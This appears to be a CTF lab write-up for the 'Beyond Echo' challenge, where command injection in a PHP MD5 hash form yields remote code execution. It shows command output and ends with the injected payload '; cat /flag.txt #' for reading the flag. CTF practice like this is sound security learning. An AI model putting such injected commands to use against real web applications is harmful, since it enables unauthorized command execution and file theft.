

Labs / Beyond Echo

Easy

Welcome to our CTF challenge "Beyond Echo"! This challenge will test your skills in finding and exploiting vulnerabilities. What about an RCE this time? Here's what you need to know:

Steps to Success

1. **Start the Machine:** Begin by running the provided virtual machine.
2. **Complete Tasks:** Follow the tasks to gather clues and progress through the challenge.
3. **Explore the Application:** Investigate the web application thoroughly.

Hint

- **PHP Vulnerabilities:** Look for ways to exploit vulnerabilities in PHP code.
- **HDNA Courses:** completing [this course on RCE](https://hackerdna.com/courses/rce) may be beneficial: <https://hackerdna.com/courses/rce>

Goal

Your goal is to find the hidden flag, which is a UUID located in a `flag.txt` file at the root of the server. Use your skills and creativity to uncover it. Good luck and have fun!

▶ Start Machine

Start the Machine and the IP will show here

To attack the target machine, you must start the Machine first.

What port is open on this Machine?

-ANS: 80

What does mean "RCE" in the context of cyber security?

-ANS: remote code execution

What char is used to comment in shell?

- `#`

flag

-ANS:

Online MD5 Hash Generator

Quickly and securely generate MD5 hashes from your text

Enter the text you wish to convert into an MD5 hash. This tool is useful for encoding passwords, credit card numbers, or other sensitive information into databases, PHP sessions, or other applications.

Calculate MD5

Here is the MD5 of your text:

`www-data`

used this payload and it worked so now we just need to read the flag

Enter the text you wish to convert into an MD5 hash. This tool is useful for encoding passwords, credit card numbers, or other sensitive information into databases, PHP sessions, or other applications.

Calculate MD5

Here is the MD5 of your text:

```
total 64
drwxr-xr-x  1 root root 4096 May 31 14:37 .
drwxr-xr-x  1 root root 4096 May 31 14:37 ..
lrwxrwxrwx  1 root root    7 Mar 11 00:00 bin -> usr/bin
drwxr-xr-x  2 root root 4096 Jan 28 21:20 boot
drwxr-xr-x  5 root root  340 May 31 14:37 dev
drwxr-xr-x  1 root root 4096 May 31 14:37 etc
-rw-r--r--  1 root root   36 Apr  5 08:08 flag.txt
drwxr-xr-x  2 root root 4096 Jan 28 21:20 home
lrwxrwxrwx  1 root root    7 Mar 11 00:00 lib -> usr/lib
drwxr-xr-x  2 root root 4096 Mar 11 00:00 media
drwxr-xr-x  2 root root 4096 Mar 11 00:00 mnt
drwxr-xr-x  2 root root 4096 Mar 11 00:00 opt
dr-xr-xr-x 196 root root    0 May 31 14:37 proc
drwx----- 1 root root 4096 Mar 16 00:16 root
drwxr-xr-x  1 root root 4096 Mar 12 04:43 run
lrwxrwxrwx  1 root root    8 Mar 11 00:00 sbin -> usr/sbin
drwxr-xr-x  2 root root 4096 Mar 11 00:00 srv
dr-xr-xr-x 12 root root    0 May 31 14:37 sys
drwxrwxrwt  1 root root 4096 Mar 16 00:16 tmp
drwxr-xr-x  1 root root 4096 Mar 11 00:00 usr
drwxr-xr-x  1 root root 4096 Mar 12 04:39 var
```

now we got the directories/files we can now just do `; cat /flag.txt #` and will get the flag